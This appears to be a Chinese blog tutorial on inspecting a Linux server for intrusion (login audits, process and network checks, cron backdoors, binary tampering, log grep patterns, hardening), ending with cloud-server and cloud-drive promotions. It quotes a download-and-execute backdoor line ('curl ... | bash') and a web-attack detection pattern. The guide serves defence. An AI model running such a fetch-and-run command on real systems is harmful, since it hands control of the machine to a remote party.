Linux服务器安全检测实操指南:从日志分析到入侵排查的完整路径

为什么你的Linux服务器总在“裸奔”?

很多站长或运维朋友都有过这样的经历:网站突然被挂马、数据库被勒索、SSH密码被暴力破解……事后一查,发现系统里到处都是“后门”和异常登录记录。其实,Linux服务器安全检测并不是什么高深莫测的黑客技术,而是一套有章可循的排查方法论。今天,笔者就带大家从“事后救火”转向“事前体检”,手把手教你在命令行里把服务器翻个底朝天。

第一步:先看“门锁”是否被撬——用户与登录审计

安全检测的第一件事,永远是确认“谁”能进你的系统。我们不需要装任何重量级安全软件,纯靠系统自带的日志就能发现端倪。

1. 检查异常用户与特权组

运行以下命令,列出所有拥有登录Shell的用户,并重点关注uid为0(即root权限)的账号:

awk -F: '$3==0 {print $1}' /etc/passwd
# 正常情况只显示 root,如果出现其他用户名,立刻警觉

同时检查sudoers组和具有root权限的成员:

grep -E '(^|,)(sudo|wheel)(,|$)' /etc/group

2. 深挖登录痕迹

很多攻击者会清理日志,但往往漏掉lastlogwtmp。使用下面的组合拳,看看有没有陌生IP在凌晨三点成功登录:

# 查看最近成功登录记录
last -20

# 查看所有用户的最后登录时间(排查从未登录过的僵尸账号)
lastlog

# 重点排查失败登录次数,判断是否存在爆破行为
grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | head -20

如果发现某个IP尝试了上百次,即便它没成功,也说明你的服务器正被“盯上”了。建议立刻在防火墙中屏蔽该IP,并修改SSH默认端口(22改成高位端口,如22022)。

第二步:揪出“内鬼”——进程与网络连接排查

攻击者拿到权限后,通常会植入挖矿程序或反弹Shell。这类恶意进程有一个通病:CPU占用异常高向外网主动发起连接

1. 找出吃满CPU的进程

top -c   # 按 P 键按CPU排序,观察是否有名为 kswapd0、cryptonight 等可疑进程

有些恶意进程会伪装成系统服务名(如“kworkerd”),这时候需要看它的完整路径:

ls -l /proc/[PID]/exe   # 查看该进程的真实可执行文件位置

如果路径在 /tmp、/var/tmp 或 /dev/shm 下,那100%是挖矿木马。

2. 网络连接反向追踪

# 查看所有对外建立的TCP连接
netstat -antp | grep ESTABLISHED

# 或者使用ss命令更快速
ss -antp | grep -v "127.0.0.1" | grep ESTABLISHED

重点关注连接境外IP非标准端口(如4444、6666、8888)的进程。如果发现某个进程在连接一个未知的IP:端口,直接执行 kill -9 PID 后,再排查它的启动脚本。

第三步:检查“定时炸弹”——计划任务与自启动项

攻击者为了维持权限(APT攻击的典型特征),会写入crontab或rc.local,实现“杀而不死”。这是Linux服务器安全检测中最容易忽略的一环。

1. 清点所有用户的crontab

for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2>/dev/null; done

# 同时检查系统级计划任务
cat /etc/crontab
ls -la /etc/cron.d/

看到 curl http://xxx.xxx/1.sh | bash 这类内容,别犹豫,这就是典型的下载执行型后门。删除该任务后,还需要去 /var/spool/cron/ 目录下确认一下残留文件。

2. 排查开机启动项

cat /etc/rc.local
systemctl list-unit-files | grep enabled

特别留意 /etc/systemd/system/ 下有没有最近修改过的service文件。攻击者常在这里创建名为 systemd-update.service 之类的伪装服务。

第四步:文件完整性校验——查找被篡改的二进制

如果攻击者替换了系统命令(比如ps、netstat、ls),你看到的进程和网络状态都是“假象”。这时候需要用最原始的工具去比对。

1. 使用RPM校验(适用于CentOS/RHEL)

rpm -Va | grep '^S.5'

如果输出中出现了 /bin/ps/usr/bin/netstat,说明这些命令已经被替换。此时不要慌,用 yum reinstall procps-ng net-tools 重新安装即可恢复。

2. 查找最近24小时内被修改的敏感文件

find /bin /sbin /usr/bin /usr/sbin -mtime -1 -type f -exec ls -la {} \;

正常情况下,这些目录下的文件不会频繁变动。一旦发现可疑的二进制文件,立刻用 file 命令查看它的属性,确认是否为UPX加壳的恶意程序。

第五步:日志深度分析——从/var/log挖出攻击路径

日志是攻击者留下的“脚印”,也是我们反推攻击手法的唯一证据。除了前面提到的secure日志,以下两个文件也值得重点排查:

1. 检查命令历史被清空的情况

如果发现 .bash_history 文件被清空,或者指向了 /dev/null,说明已经有人进来过并做了反取证操作。此时需要检查 /var/log/messages 中是否有异常的日志轮转:

grep -i "logrotate" /var/log/messages | tail -20

2. Web日志中的SQL注入痕迹

如果你的服务器运行着LNMP环境,别忘了检查Nginx或Apache的访问日志:

grep -E "union.*select|eval\(|base64_decode" /var/log/nginx/access.log | tail -20

发现可疑的请求参数后,立刻回溯该IP的完整访问记录,确定攻击者的扫描路径。

进阶加固:从“检测”到“免疫”的四个习惯

检测只能发现已知问题,我们还需要做几件低成本但收益极高的事,让服务器变得“难啃”。

1. 开启SELinux或AppArmor

很多云主机为了兼容性默认关闭了SELinux,但这是Linux安全机制的最后一道防线。至少将 /etc/selinux/config 中的参数改为 enforcing,并设置好上下文。

2. 配置Fail2ban自动封禁

与其每天看爆破日志,不如让它自动处理:

yum install fail2ban -y
systemctl enable fail2ban --now

默认配置就能封禁连续尝试5次密码错误的IP,极大降低SSH被攻破的风险。

3. 定期做“最小权限”审计

检查所有服务运行账户,确保Nginx、MySQL等进程没有以root身份运行。如果是,请立即在配置文件中修改 user=nginx 并重启服务。

4. 使用云平台自带的安全组

如果你用的是阿里云、腾讯云或AWS,建议把安全组设置为白名单模式,只放行80、443和你的办公网IP段。这比任何软件防火墙都更可靠。

写在最后:安全是动态的,不是一次性的

今天的Linux服务器安全检测教程覆盖了用户、进程、计划任务、文件完整性和日志五大维度。但请记住,黑客的技术也在不断迭代。建议每周抽出10分钟,用上述命令组合做一次快速巡检,并配合云平台的快照功能定期备份。如果你还没有一台“练手”的服务器,不妨在正规云服务商处购买一台最低配的ECS或轻量服务器,开启安全组和密钥登录,把今天学到的知识实际演练一遍——毕竟,真正的高手都是在实战中磨出来的。希望这篇文章能帮你守住自己的那方数字疆土。

💡 【高性价比独享云服务器限时 1 折起】

新手搭建网站或部署容器,推荐选择高性价比独享云服务器。点击下方通道可享受限时折扣与专属优惠券:

👉 点此前往领取云服务器限时优惠券

🎁 全套实操配置文件与 AI 提效资料包免费下载

本文涉及的全套 Docker Compose 配置文件、服务器运维避坑手册及 AI 提效指令库已完整打包上传至夸克网盘,可直接免费极速转存:

👉 点击前往夸克网盘免费极速转存获取

💡 提示:推荐使用手机【夸克网盘 App】打开保存,新用户首月免费赠送 1TB 超大空间与免流量极速下载特权。

滚动至顶部